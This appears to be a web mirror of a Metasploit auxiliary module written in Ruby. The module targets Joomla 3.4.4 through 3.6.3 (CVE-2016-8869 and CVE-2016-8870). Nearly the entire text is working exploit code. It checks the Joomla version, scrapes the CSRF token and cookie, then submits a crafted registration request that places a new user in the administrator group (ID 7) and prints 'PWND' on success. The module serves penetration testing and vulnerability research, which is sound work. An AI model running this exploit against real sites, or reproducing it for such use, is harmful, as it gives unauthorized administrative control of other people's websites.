CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/http/joomla_registration_privesc.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HTTP::Joomla
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'Joomla Account Creation and Privilege Escalation',
14
'Description' => %q{
15
This module creates an arbitrary account with administrative privileges in Joomla versions 3.4.4
16
through 3.6.3. If an email server is configured in Joomla, an email will be sent to activate the account (the account is disabled by default).
17
},
18
'References' => [
19
['CVE', '2016-8869'],
20
['CVE', '2016-8870'],
21
['URL', 'https://developer.joomla.org/security-centre/660-20161002-core-elevated-privileges.html'],
22
['URL', 'https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html'],
23
['URL', 'https://medium.com/@showthread/joomla-3-6-4-account-creation-elevated-privileges-write-up-and-exploit-965d8fb46fa2']
24
],
25
'Author' => [
26
'Fabio Pires <fp[at]integrity.pt>', # module creation and privilege escalation
27
'Filipe Reis <fr[at]integrity.pt>', # module creation and privilege escalation
28
'Vitor Oliveira <vo[at]integrity.pt>', # module creation and privilege escalation
29
],
30
'License' => MSF_LICENSE,
31
'DisclosureDate' => '2016-10-25'
32
)
33
)
34
35
register_options(
36
[
37
OptString.new('TARGETURI', [true, 'The relative URI of the Joomla instance', '/']),
38
OptString.new('USERNAME', [true, 'Username that will be created', 'expl0it3r']),
39
OptString.new('PASSWORD', [true, 'Password for the username', 'expl0it3r']),
40
OptString.new('EMAIL', [true, 'Email to receive the activation code for the account', '[email protected]'])
41
]
42
)
43
end
44
45
def check
46
res = send_request_cgi('uri' => target_uri.path)
47
48
unless res
49
vprint_error('Unable to connect to target')
50
return Exploit::CheckCode::Unknown
51
end
52
53
unless joomla_and_online?
54
vprint_error('Unable to detect Joomla')
55
return Exploit::CheckCode::Safe
56
end
57
58
version = Rex::Version.new(joomla_version)
59
60
unless version
61
vprint_error('Unable to detect Joomla version')
62
return Exploit::CheckCode::Detected
63
end
64
65
vprint_status("Detected Joomla version #{version}")
66
67
if version.between?(Rex::Version.new('3.4.4'), Rex::Version.new('3.6.3'))
68
return Exploit::CheckCode::Appears
69
end
70
71
Exploit::CheckCode::Safe
72
end
73
74
def get_csrf(hidden_fields)
75
hidden_list = hidden_fields
76
hidden_list.each do |fields|
77
fields.each do |item|
78
if item[0].length == 32 && item[1] == '1'
79
return item[0]
80
end
81
end
82
end
83
end
84
85
def run
86
if check == Exploit::CheckCode::Safe
87
print_error('Target seems safe, so we will not continue!')
88
return
89
end
90
91
print_status('Trying to create the user!')
92
res = send_request_cgi(
93
'uri' => normalize_uri(target_uri.path, 'index.php/component/users/'),
94
'vars_get' => {
95
'view' => 'login'
96
}
97
)
98
99
if res && res.code == 200
100
cookie = res.get_cookies
101
csrf = get_csrf(res.get_hidden_inputs)
102
103
if csrf.length != 32 && cookie.split(/=/).length != 2
104
print_error('Could not find csrf or cookie!')
105
return
106
end
107
else
108
print_error('Could not find Login Page!')
109
return
110
end
111
112
mime = Rex::MIME::Message.new
113
mime.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="user[name]"')
114
mime.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="user[username]"')
115
mime.add_part('7', nil, nil, 'form-data; name="user[groups][]"')
116
mime.add_part(datastore['PASSWORD'], nil, nil, 'form-data; name="user[password1]"')
117
mime.add_part(datastore['PASSWORD'], nil, nil, 'form-data; name="user[password2]"')
118
mime.add_part(datastore['EMAIL'], nil, nil, 'form-data; name="user[email1]"')
119
mime.add_part(datastore['EMAIL'], nil, nil, 'form-data; name="user[email2]"')
120
mime.add_part('com_users', nil, nil, 'form-data; name="option"')
121
mime.add_part('user.register', nil, nil, 'form-data; name="task"')
122
mime.add_part('1', nil, nil, 'form-data; name="' + csrf + '"')
123
124
res = send_request_cgi(
125
'method' => 'POST',
126
'uri' => normalize_uri(target_uri.path, 'index.php/component/users/'),
127
'cookie' => cookie,
128
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
129
'data' => mime.to_s
130
)
131
132
if res && res.code == 200
133
print_good('PWND - Your user has been created')
134
print_status("\tUsername: " + datastore['USERNAME'])
135
print_status("\tPassword: " + datastore['PASSWORD'])
136
print_status("\tEmail: " + datastore['EMAIL'])
137
elsif res.redirect?
138
res = send_request_cgi!(
139
'uri' => res.redirection.path,
140
'method' => 'GET',
141
'cookie' => cookie
142
)
143
144
print_error('There was an issue, but the user could have been created.')
145
146
parsed_data = res.get_html_document
147
parsed_data.xpath('//div[@class="alert-message"]').each do |alert_msg|
148
print_error("\t" + alert_msg.text)
149
end
150
else
151
print_error('This host may not be vulnerable.')
152
end
153
end
154
end
155
156